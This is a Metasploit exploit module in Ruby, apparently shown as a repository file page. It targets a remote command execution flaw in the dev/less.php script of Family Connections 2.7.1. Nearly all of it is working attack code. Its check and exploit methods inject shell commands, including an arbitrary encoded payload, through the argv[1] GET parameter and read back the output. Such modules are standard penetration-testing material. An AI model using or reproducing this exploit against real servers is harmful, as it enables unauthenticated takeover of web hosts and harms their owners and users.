Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
100 lines
2.9 KiB
Ruby
100 lines
2.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Family Connections less.php Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in
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Family Connections 2.7.1. It's in the dev/less.php script and is due
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to an insecure use of system(). Authentication isn't required to exploit
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the vulnerability but register_globals must be set to On.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
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[ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
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[ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
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[ 'EDB', '18198' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet perl ruby python',
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}
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},
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'Platform' => ['unix', 'linux'],
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'Arch' => ARCH_CMD,
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'Targets' => [['Automatic',{}]],
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'DisclosureDate' => 'Nov 29 2011',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
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],self.class)
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end
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def check
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uri = datastore['URI']
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uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
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mark = Rex::Text.rand_text_alpha(rand(5) + 5)
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res = send_request_cgi({
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'uri' => uri,
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'vars_get' => { 'argv[1]' => "|echo #{mark};#" }
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}, 25)
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if res and res.code == 200 and res.body =~ /#{mark}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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uri = datastore['URI']
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uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"
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start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
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end_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
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custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"
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res = send_request_cgi({
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'uri' => uri,
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'vars_get' => { 'argv[1]' => custom_payload }
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}, 25)
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if res and res.code == 200 and res.body =~ /#{start_mark}/
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# Prints output when using cmd/unix/generic
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result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
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if not result.strip.empty?
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print_status("Result of the command:\n#{result}")
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end
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end
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end
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end
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